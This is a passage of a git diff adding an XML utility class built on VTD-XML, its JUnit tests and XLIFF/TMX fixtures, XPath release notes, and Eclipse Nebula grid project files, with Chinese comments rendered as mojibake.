getNodeXML(nodeName, newValue, null); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + xm.insertAfterHead(newValue); + if (!pilotToEnd) { // ä¸éœ€è¦å¯¼èˆªåˆ° XML 末尾,åœæ­¢å¾ªçŽ¯ + break; + } + } + } + } + } + } catch (XPathParseException e) { + LOGGER.error("", e); + } catch (XPathEvalException e) { + LOGGER.error("", e); + } catch (NavException e) { + LOGGER.error("", e); + } catch (ModifyException e) { + LOGGER.error("", e); + } catch (UnsupportedEncodingException e) { + LOGGER.error("", e); + } finally { + vn.pop(); + } + return xm; + } + + /** + * æ’入新属性(到最åŽçš„ä½ç½®ï¼‰ã€‚ + * @param xm + * @param attrName + * @param attrValue + * @throws ModifyException + * ; + */ + private void insertAttribute(XMLModifier xm, String attrName, String attrValue) throws ModifyException { + int startTagIndex = vn.getCurrentIndex(); + int type = vn.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + String attrFragment = new StringBuffer(" ").append(attrName).append("=\"").append(attrValue).append("\"") + .toString(); // 构建属性片段,“ attrName="attrValue" †+ long i = vn.getOffsetAfterHead(); // 得到开始标记的结æŸä½ç½® + if (vn.getEncoding() < VTDNav.FORMAT_UTF_16BE) { + xm.insertBytesAt((int) i - 1, attrFragment.getBytes()); + } else { + xm.insertBytesAt(((int) i - 1) << 1, attrFragment.getBytes()); + } + } + + /** + * 将新值æ’入到 XPath 表达å¼æ‰€å®šä½åˆ°çš„ä½ç½® + * @param xpath + * XPath è¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @return XMLModifier 实例; + */ + public XMLModifier insert(String xpath, String newValue) { + return insert(null, null, xpath, newValue); + } + + /** + * 将新值æ’入到 XPath 表达å¼æ‰€å®šä½åˆ°çš„ä½ç½® + * @param ap + * AutoPilot 实例 + * @param xm + * XMLModifier 实例 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @return XMLModifier 实例; + */ + public XMLModifier insert(AutoPilot ap, XMLModifier xm, String xpath, String newValue) { + return insert(ap, xm, xpath, newValue, 0); + } + + /** + * 将新值æ’入到 XPath 表达å¼æ‰€å®šä½åˆ°çš„ä½ç½® + * @param xpath + * XPath è¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @param condition + * 本次æ“作的é™å®šæ¡ä»¶ + * @return XMLModifier 实例; + */ + public XMLModifier insert(String xpath, String newValue, int condition) { + return insert(null, null, xpath, newValue, condition); + } + + /** + * 将新值æ’入到 XPath 表达å¼æ‰€å®šä½åˆ°çš„ä½ç½® + * @param ap + * AutoPilot 实例 + * @param xm + * XMLModifier 实例 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @param newValue + * è¦ä¿®æ”¹çš„新值 + * @param condition + * 本次æ“作的é™å®šæ¡ä»¶ + * @return XMLModifier 实例; + */ + public XMLModifier insert(AutoPilot ap, XMLModifier xm, String xpath, String newValue, int condition) { + return handleXML(ap, xm, xpath, newValue, condition | CREATE_IF_NOT_EXIST, false); + } + + /** + * 导航 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @return 导航到的ä½ç½®ç´¢å¼•ï¼ˆ-1:导航失败); + */ + public int pilot(String xpath) { + return pilot(null, xpath); + } + + /** + * 导航 + * @param ap + * AutoPilot 对象 + * @param xpath + * XPath è¡¨è¾¾å¼ + * @return 导航到的ä½ç½®ç´¢å¼•ï¼ˆ-1:导航失败); + */ + public int pilot(AutoPilot ap, String xpath) { + if (ap == null) { + ap = new AutoPilot(vn); + } + try { + ap.selectXPath(xpath); + return ap.evalXPath(); + } catch (XPathParseException e) { + LOGGER.error("", e); + } catch (XPathEvalException e) { + LOGGER.error("", e); + } catch (NavException e) { + LOGGER.error("", e); + } + return -1; + } + + /** + * 在 XPath 中转义引å·ï¼ˆè§£å†³åœ¨ XPath 中æŸä¸ªå­—符串åŒæ—¶å«æœ‰å•å¼•å·å’ŒåŒå¼•å·çš„情况) + * @param xpath + * @return ; + */ + public static String dealEscapeQuotes(String xpath) { + StringBuffer sb = new StringBuffer(); + if (xpath.indexOf('\'') != -1) { + StringTokenizer st = new StringTokenizer(xpath, "'\"", true); + sb.append("concat("); + while (st.hasMoreTokens()) { + String token = st.nextToken(); + if (token.equalsIgnoreCase("'")) { + sb.append("\""); + sb.append(token); + sb.append("\""); + } else { + sb.append("'"); + sb.append(token); + sb.append("'"); + } + if (st.countTokens() != 0) { + sb.append(","); + } + } + sb.append(")"); + } else { + sb.append("'"); + sb.append(xpath); + sb.append("'"); + } + return sb.toString(); + } + + /** + * ä¿å­˜ä¿®æ”¹å¹¶æ›´æ–° VTDNav 实例 + * @param xm + * XMLModifier 实例 + * @param filePath + * 文件路径 + * @return VTDNav 实例 + */ + public VTDNav updateVTDNav(XMLModifier xm, String filePath) { + try { + File file = new File(filePath); + FileOutputStream fos = new FileOutputStream(file); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); + bos.close(); + fos.close(); + + VTDGen vg = new VTDGen(); + if (vg.parseFile(filePath, true)) { // é‡æ–°åŠ è½½ + vn = vg.getNav(); + } + } catch (ModifyException e) { + LOGGER.error("", e); + } catch (TranscodeException e) { + LOGGER.error("", e); + } catch (IOException e) { + LOGGER.error("", e); + } + return vn; + } + + /** + * æ ¹æ® vn çš„ encoding 获å–字符集编ç (此方法与 XMLModifier çš„ bind 方法中获å–字符集的方å¼ä¸€è‡´) + * @return + * @throws ModifyException + * ; + */ + public String getCharsetByEncoding() throws ModifyException { + int encoding = vn.getEncoding(); + switch (encoding) { + case VTDNav.FORMAT_ASCII: + return "ASCII"; + case VTDNav.FORMAT_ISO_8859_1: + return "ISO8859_1"; + case VTDNav.FORMAT_UTF8: + return "UTF8"; + case VTDNav.FORMAT_UTF_16BE: + return "UnicodeBigUnmarked"; + case VTDNav.FORMAT_UTF_16LE: + return "UnicodeLittleUnmarked"; + case VTDNav.FORMAT_ISO_8859_2: + return "ISO8859_2"; + case VTDNav.FORMAT_ISO_8859_3: + return "ISO8859_3"; + case VTDNav.FORMAT_ISO_8859_4: + return "ISO8859_4"; + case VTDNav.FORMAT_ISO_8859_5: + return "ISO8859_5"; + case VTDNav.FORMAT_ISO_8859_6: + return "ISO8859_6"; + case VTDNav.FORMAT_ISO_8859_7: + return "ISO8859_7"; + case VTDNav.FORMAT_ISO_8859_8: + return "ISO8859_8"; + case VTDNav.FORMAT_ISO_8859_9: + return "ISO8859_9"; + case VTDNav.FORMAT_ISO_8859_10: + return "ISO8859_10"; + case VTDNav.FORMAT_ISO_8859_11: + return "x-iso-8859-11"; + case VTDNav.FORMAT_ISO_8859_12: + return "ISO8859_12"; + case VTDNav.FORMAT_ISO_8859_13: + return "ISO8859_13"; + case VTDNav.FORMAT_ISO_8859_14: + return "ISO8859_14"; + case VTDNav.FORMAT_ISO_8859_15: + return "ISO8859_15"; + + case VTDNav.FORMAT_WIN_1250: + return "Cp1250"; + case VTDNav.FORMAT_WIN_1251: + return "Cp1251"; + case VTDNav.FORMAT_WIN_1252: + return "Cp1252"; + case VTDNav.FORMAT_WIN_1253: + return "Cp1253"; + case VTDNav.FORMAT_WIN_1254: + return "Cp1254"; + case VTDNav.FORMAT_WIN_1255: + return "Cp1255"; + case VTDNav.FORMAT_WIN_1256: + return "Cp1256"; + case VTDNav.FORMAT_WIN_1257: + return "Cp1257"; + case VTDNav.FORMAT_WIN_1258: + return "Cp1258"; + default: + throw new ModifyException(Messages.getString("vtdimpl.VTDUtils.logger2")); + } + } + + /** + * 清除内容 + * ; + */ + public void clear() { + vg.clear(); + vn = null; + } + /** + * @see this{@link #parseFile(InputStream, boolean)} + * vg.setDoc(out.toByteArray());这个方法中的这å¥ä»£ç å¯èƒ½å¯¼è‡´å†…存溢出 + * 在解æžå¤§æ–‡ä»¶æ—¶ + * @param file + * @param useNameSpace ; + */ + public void parseFile(File file, boolean useNameSpace) { + if (vg == null) { + vg = new VTDGen(); + } + FileInputStream fin = null; + try { + fin = new FileInputStream(file); + byte[] b = new byte[(int) file.length()]; + + int offset = 0; + int numRead = 0; + int numOfBytes = 1048576;// I choose this value randomally, + // any other (not too big) value also can be here. + if (b.length - offset < numOfBytes) { + numOfBytes = b.length - offset; + } + while (offset < b.length && (numRead = fin.read(b, offset, numOfBytes)) >= 0) { + offset += numRead; + if (b.length - offset < numOfBytes) { + numOfBytes = b.length - offset; + } + } + vg.setDoc(b); + vg.parse(useNameSpace); + vn = vg.getNav(); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } finally { + if (null == fin) { + return; + } + try { + fin.close(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + } +} diff --git a/base_plugins/net.heartsome.xml/temp/.log/HSCATE b/base_plugins/net.heartsome.xml/temp/.log/HSCATE new file mode 100644 index 0000000..e69de29 diff --git a/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/Test.txt.xlf b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/Test.txt.xlf new file mode 100644 index 0000000..19d7623 --- /dev/null +++ b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/Test.txt.xlf @@ -0,0 +1,87 @@ + + + +
    + + + + + + + UTF-8 + +
    + + This <b>is the first </b>test.这是<b>第一个</b>测试。This is a test.这是一个测试å§ã€‚ + This is a test.这是一个测试å§ã€‚ + This is a test!这是一个测试! + The note 1. + The note 2. + + This is <b> the second</b> test.这是<b>第二个</b>测试。This is a test.这是一个测试。 + The 1 note. + The 2 note. + The 3 note. + + +
    + +
    + + + + + + + UTF-8 + +
    + + This <b>is the first </b>test.这是<b>第一个</b>测试。This is a test.这是一个测试å§ã€‚ + This is a test.这是一个测试å§ã€‚ + This is a test!这是一个测试! + The note 1. + The note 2. + + This is <b> the second</b> test.这是<b>第二个</b>测试。This is a test.这是一个测试。 + The 1 note. + The 2 note. + The 3 note. + + +
    +
    \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/TestDiffFileEncoding.java b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/TestDiffFileEncoding.java new file mode 100644 index 0000000..5286289 --- /dev/null +++ b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/TestDiffFileEncoding.java @@ -0,0 +1,50 @@ +/** + * TestDiffFileEncoding.java + * + * Version information : + * + * Date:2013-11-29 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.xml.vtdimpl.test; + +import net.heartsome.xml.vtdimpl.VTDUtils; + +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class TestDiffFileEncoding { + + static String utf_16be = "testSrc/net/heartsome/xml/vtdimpl/test/utf-16be.tmx"; + static String utf_16le = "testSrc/net/heartsome/xml/vtdimpl/test/utf-16le.tmx"; + static String utf_8 = "testSrc/net/heartsome/xml/vtdimpl/test/test.tmx"; + + /** + * @param args + * ; + * @throws NavException + */ + public static void main(String[] args) { + // TODO Auto-generated method stub + VTDGen vg = new VTDGen(); + if (vg.parseFile(utf_8, true)) { + VTDNav vn = vg.getNav(); + try { + VTDUtils vu = new VTDUtils(vn); + } catch (NavException e) { + e.printStackTrace(); + } + } + } + +} diff --git a/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/Test_UTF16LE.txt.xlf b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/Test_UTF16LE.txt.xlf new file mode 100644 index 0000000..26d9043 Binary files /dev/null and b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/Test_UTF16LE.txt.xlf differ diff --git a/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/UTF-16LE.TMX b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/UTF-16LE.TMX new file mode 100644 index 0000000..5899282 Binary files /dev/null and b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/UTF-16LE.TMX differ diff --git a/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/VTDUtilsTest.java b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/VTDUtilsTest.java new file mode 100644 index 0000000..0b4a88c --- /dev/null +++ b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/VTDUtilsTest.java @@ -0,0 +1,225 @@ +package net.heartsome.xml.vtdimpl.test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNotSame; +import static org.junit.Assert.assertSame; + +import java.util.Hashtable; +import java.util.Vector; + +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.junit.AfterClass; +import org.junit.BeforeClass; +import org.junit.Test; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +public class VTDUtilsTest { + private final static String testFile = "testSrc/net/heartsome/xml/vtdimpl/test/Test_UTF16LE.txt.xlf"; + private static VTDNav vn = null; + private static VTDUtils vu = null; + + @BeforeClass + public static void setUp() throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(testFile, true)) { + vn = vg.getNav(); + vu = new VTDUtils(vn); + } + } + + @AfterClass + public static void tearDown() throws Exception { + vn = null; + vu = null; + } + + @Test(expected = NavException.class) + public void testVTDUtils() throws NavException { + vu = new VTDUtils(null); + } + + @Test + public void testVTDNavStatus(){ + assertNotNull(vn); + assertNotNull(vu); + } + + @Test + public void testGetChildContent() throws XPathParseException, XPathEvalException, NavException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit[position()=1]"); + int inx = ap.evalXPath(); + assertNotSame(-1, inx); + assertEquals("This <b>is the first </b>test.",vu.getChildContent("source")); + + ap.resetXPath(); + ap.selectXPath("//trans-unit"); + inx = ap.evalXPath(); + assertNotSame(-1, inx); + String txt = vu.getChildContent("note"); + assertEquals("The note 1.", txt); + } + + @Test + public void testGetChildrenContent() throws XPathParseException, XPathEvalException, NavException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit[position()=2]"); + ap.evalXPath(); + Vector notes = vu.getChildrenContent("note"); + assertEquals(3, notes.size()); + assertEquals("The 1 note.",notes.get(0)); + assertEquals("The 2 note.",notes.get(1)); + assertEquals("The 3 note.",notes.get(2)); + } + + @Test + public void testGetCurrentElementAttributsNoParams() throws XPathEvalException, NavException, XPathParseException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit[position()=2]"); + ap.evalXPath(); + + Hashtable eAtts = new Hashtable(); + eAtts.put("approved","yes"); + eAtts.put("id","1"); + eAtts.put("merged-trans","yes"); + eAtts.put("reformat","yes"); + eAtts.put("size-unit","pixel"); + eAtts.put("translate","yes"); + eAtts.put("xml:space","preserve"); + eAtts.put("hs:ext","yes"); + eAtts.put("xsi:test", "test"); + + Hashtable aAtts = vu.getCurrentElementAttributs(); + assertEquals(eAtts,aAtts); + } + + @Test + public void testGetCurrentElementAttributs1Param() throws XPathParseException, XPathEvalException, NavException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit[position()=2]"); + ap.evalXPath(); + + Hashtable eAtts = new Hashtable(); + eAtts.put("approved","yes"); + eAtts.put("id","1"); + eAtts.put("merged-trans","yes"); + eAtts.put("reformat","yes"); + eAtts.put("size-unit","pixel"); + eAtts.put("translate","yes"); + eAtts.put("xml:space","preserve"); + eAtts.put("hs:ext","yes"); + eAtts.put("xsi:test", "test"); + + Hashtable aAtts = vu.getCurrentElementAttributs("es","http://www.heartsome.net.cn/2008/XLFExtension"); + assertEquals(eAtts,aAtts); + } + + @Test + public void testGetCurrentElementAttributs2Params() throws XPathParseException, XPathEvalException, NavException{ + + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit[position()=2]"); + ap.evalXPath(); + + Hashtable eAtts = new Hashtable(); + eAtts.put("approved","yes"); + eAtts.put("id","1"); + eAtts.put("merged-trans","yes"); + eAtts.put("reformat","yes"); + eAtts.put("size-unit","pixel"); + eAtts.put("translate","yes"); + eAtts.put("xml:space","preserve"); + eAtts.put("hs:ext","yes"); + eAtts.put("xsi:test", "test"); + + Hashtable ns = new Hashtable(); + ns.put("http://www.heartsome.net.cn/2008/XLFExtension", "es"); + ns.put("http://www.w3.org/2001/XMLSchema-instance", "es"); + Hashtable aAtts = vu.getCurrentElementAttributs(ns); + assertEquals(eAtts,aAtts); + } + + + @Test + public void testGetElementContent() throws NavException, XPathParseException, XPathEvalException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit/note[position()=1]"); + int inx = ap.evalXPath(); + assertNotSame(-1, inx); + String txt = vu.getElementContent(); + assertEquals("The note 1.", txt); + } + + + @Test + public void testGetElementContent1Param() throws NavException, XPathParseException, XPathEvalException{ + String txt = vu.getElementContent("//trans-unit/note[position()=1]"); + assertEquals("The note 1.", txt); + } + + @Test + public void testGetElementPureText() throws XPathParseException, XPathEvalException, NavException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit[position()=1]/source"); + int inx = ap.evalXPath(); + assertNotSame(-1, inx); + String txt = vu.getElementPureText(); + assertEquals("This is the first test.", txt); + } + + @Test + public void testGetVTDNav(){ + assertNotNull(vu.getVTDNav()); + assertSame(vn,vu.getVTDNav()); + } + + @Test + public void testGetCurrentElementName() throws XPathParseException, XPathEvalException, NavException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit[position()=1]/source"); + int inx = ap.evalXPath(); + String name = vu.getCurrentElementName(inx); + assertEquals(name, "source"); + } + + @Test + public void testGetCurrentElementNameWithoutInx() throws XPathParseException, XPathEvalException, NavException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//trans-unit[position()=1]/source"); + ap.evalXPath(); + String name = vu.getCurrentElementName(); + assertEquals(name, "source"); + } + + @Test + public void testGetChildElementsCount() throws XPathParseException, XPathEvalException, NavException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/xliff"); + ap.evalXPath(); + int count = vu.getChildElementsCount(); + assertEquals(2, count); + } + + @Test + public void testGetChildElementsCount2() throws XPathParseException, XPathEvalException, NavException{ + int count = vu.getChildElementsCount("/xliff"); + assertEquals(2, count); + } + + @Test + public void testGetElementFragment() throws XPathParseException, XPathEvalException, NavException{ + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/xliff/file/header/tool"); + ap.evalXPath(); + String str = vu.getElementFragment(); + assertEquals(str, ""); + } +} diff --git a/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/test.tmx.xml b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/test.tmx.xml new file mode 100644 index 0000000..4521f74 Binary files /dev/null and b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/test.tmx.xml differ diff --git a/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/utf-16be.tmx b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/utf-16be.tmx new file mode 100644 index 0000000..fc9771c Binary files /dev/null and b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/utf-16be.tmx differ diff --git a/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/utf-8.tmx b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/utf-8.tmx new file mode 100644 index 0000000..cbc4a51 --- /dev/null +++ b/base_plugins/net.heartsome.xml/testSrc/net/heartsome/xml/vtdimpl/test/utf-8.tmx @@ -0,0 +1,67 @@ + + +
    +
    + + + computer2.xls + computer2.xls + computer2.xls + 0000001 + + false + 主动è·é™ˆ + + + true + Active-matrix + + + + computer2.xls + computer2.xls + computer2.xls + 0000002 + + false + 适é…å¡ + + + true + Adapter cards + + + +
    \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/xpath release notes.txt b/base_plugins/net.heartsome.xml/xpath release notes.txt new file mode 100644 index 0000000..aeda90d --- /dev/null +++ b/base_plugins/net.heartsome.xml/xpath release notes.txt @@ -0,0 +1,150 @@ +XPath for VTD-XML + +1.0 Objective + This document provides an overview of the XPath feature +supported in VTD-XML. + +2.0 Sample Code + +Let us begin by looking the code snippet showing XPath in +action: + + try{ + ... + AutoPilot ap = new AutoPilot(); + ap.bind(vn); + ap.declareXPathNameSpace("ns1", + "http://www.w3.org/2003/05/soap-envelope"); + ap.selectXPath( + "/ns1:Envelope/ns1:Header/*[@ns1:mustUnderstand]"); + System.out.println("expr string is " + + ap.getExprString()); + while(ap.evalXPath()!= -1){ + // application logic goes here + ... + } + ap.resetXPath(); + ... + }catch(XPathParseException e){ + + }catch(XPathEvalException e){ + + }... + +Notice that the C# version works pretty much the same way. And the C +version also is quite similar. + +3. API Overview + +Basicly, AutoPilot added a few methods that allows for XPath +selection and evaluation. + + * selectXPath() compiles XPath into internal data structure. + * declareXPathNameSpace() maps prefixes of XPath expression + into corresponding URLs. + * evalXPath() moves the cursor across node sets matched by + the xpath expression. + * evalXPathToString() is a new function that allows one to + evaluate XPath to a String + * evalXPathToNumber() is a new function that allows one to + evaluate XPath to a double + * evalXPathToBoolean() is a new function that allows one to + evaluate XPath to a boolean + * resetXPath() reset the internal states of the XPath data + structure so it can be reused. + +Two more exception types are defined. + + * XPathParseException is thrown if XPath expression string + is not valid. + * XPathEvalException is thrown if there is error during XPath + evaluation. + +Notice that when using evalXPath(), users must be sure that +the cursor object doesn't change positions, one way this can +be done is by using the combination of push() and pop(). + + while(ap.evalXPath()!= -1){ + // application logic goes here + + // one must be sure that cursor position + // enter the loop equals that exiting the + // the loop + ... + } + +Also notice that the following always returns true + int i; + while((i=ap.evalXPath())!=-1){ + // i always equals vn.getCurrentIndex()!!!! + if (i==vn.getCurrentIndex()){ + } + } + + +Because in many cases, XPath expression is compiled well before +XMLs are actually processed, so autoPilot must support delayed +binding of VTDNav object, which is supported by the following +methods. + + * AutoPilot has a new, argumentless constructor that does not + initially bind to an VTDNav object. + * bind() allows the autoPilot to bind to a VTDNav object. + +Union Expression support was introduced in version 1.7. + +4. Limitation + + The list of built-in XPath functions supported in this release: + + *last + *position + *count + *sum + *floor + *ceiling + *string-length, + *round + *true + *false + *boolean + *not + *string + *lang + *number + *local-name (since v1.7) + *name (since v1.7) + *namespace-uri (since v1.7) + *substring (since v1.8) + *substring-after (since v 1.8) + *substring-before (since v 1.8) + *concat (since v1.8) + *starts-with (since v1.8) + *contains (since v1.8) + *normalize-space (since v1.8) + + 2.0 functions + *ends-with + *abs + *upper-case + *lower-case + *round-half-to-even + + * Mixed-content type is fully supported since 2.4. + * Comments and processing instructions are fully supported. + + +5. Performance considerations + There is no VTD-XML specific performance consideration of XPath. + For example, "//" operator is quite expensive, last() is also + quite expensive. + +6. Future Work + In future releases more built-in functions will be implemented. + +7. Example + + In the example directory, XPath versions of the orginal examples +are provided. + + diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/.classpath b/base_plugins/org.eclipse.nebula.widgets.grid/.classpath new file mode 100644 index 0000000..ce73933 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/.cvsignore b/base_plugins/org.eclipse.nebula.widgets.grid/.cvsignore new file mode 100644 index 0000000..eb5a316 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/.cvsignore @@ -0,0 +1 @@ +target diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/.project b/base_plugins/org.eclipse.nebula.widgets.grid/.project new file mode 100644 index 0000000..485e4c1 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/.project @@ -0,0 +1,28 @@ + + + org.eclipse.nebula.widgets.grid + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/.settings/org.eclipse.jdt.core.prefs b/base_plugins/org.eclipse.nebula.widgets.grid/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..1a7218d --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,24 @@ +#Tue Mar 27 11:22:34 EDT 2007 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.2 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.4 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.doc.comment.support=enabled +org.eclipse.jdt.core.compiler.problem.assertIdentifier=warning +org.eclipse.jdt.core.compiler.problem.enumIdentifier=warning +org.eclipse.jdt.core.compiler.problem.invalidJavadoc=error +org.eclipse.jdt.core.compiler.problem.invalidJavadocTags=enabled +org.eclipse.jdt.core.compiler.problem.invalidJavadocTagsDeprecatedRef=enabled +org.eclipse.jdt.core.compiler.problem.invalidJavadocTagsNotVisibleRef=enabled +org.eclipse.jdt.core.compiler.problem.invalidJavadocTagsVisibility=protected +org.eclipse.jdt.core.compiler.problem.missingJavadocComments=error +org.eclipse.jdt.core.compiler.problem.missingJavadocCommentsOverriding=enabled +org.eclipse.jdt.core.compiler.problem.missingJavadocCommentsVisibility=protected +org.eclipse.jdt.core.compiler.problem.missingJavadocTags=warning +org.eclipse.jdt.core.compiler.problem.missingJavadocTagsOverriding=enabled +org.eclipse.jdt.core.compiler.problem.missingJavadocTagsVisibility=protected +org.eclipse.jdt.core.compiler.source=1.3 diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/.settings/org.eclipse.jdt.ui.prefs b/base_plugins/org.eclipse.nebula.widgets.grid/.settings/org.eclipse.jdt.ui.prefs new file mode 100644 index 0000000..2f12e06 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/.settings/org.eclipse.jdt.ui.prefs @@ -0,0 +1,3 @@ +#Tue Mar 27 11:00:41 EDT 2007 +eclipse.preferences.version=1 +internal.default.compliance=default diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/META-INF/MANIFEST.MF b/base_plugins/org.eclipse.nebula.widgets.grid/META-INF/MANIFEST.MF new file mode 100644 index 0000000..a7f883f --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Nebula Grid +Bundle-SymbolicName: org.eclipse.nebula.widgets.grid +Bundle-Version: 8.0.0.R8b_v20121203 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: org.eclipse.swt, + org.eclipse.jface;resolution:=optional +Export-Package: org.eclipse.nebula.jface.gridviewer, + org.eclipse.nebula.jface.gridviewer.internal;x-internal:=true, + org.eclipse.nebula.widgets.grid, + org.eclipse.nebula.widgets.grid.internal;x-internal:=true +Bundle-Vendor: Eclipse.org diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/build.properties b/base_plugins/org.eclipse.nebula.widgets.grid/build.properties new file mode 100644 index 0000000..a45e60d --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/build.properties @@ -0,0 +1,15 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . +src.includes = .project,\ + .classpath,\ + META-INF/,\ + build.properties,\ + src/ + +nebula.productname=org.eclipse.nebula.widgets.grid +javadoc.packages=org.eclipse.nebula.widgets.grid.* +javadoc.exclude=org.eclipse.nebula.widgets.grid.internal.* +snippets.path=org/eclipse/swt/nebula/snippets/grid + \ No newline at end of file diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/pom.xml b/base_plugins/org.eclipse.nebula.widgets.grid/pom.xml new file mode 100644 index 0000000..564b17c --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/pom.xml @@ -0,0 +1,17 @@ + + + 4.0.0 + + + nebula-release + org.eclipse.nebula + 1.0.0-SNAPSHOT + ../org.eclipse.swt.nebula.nebula-release + + + org.eclipse.nebula + 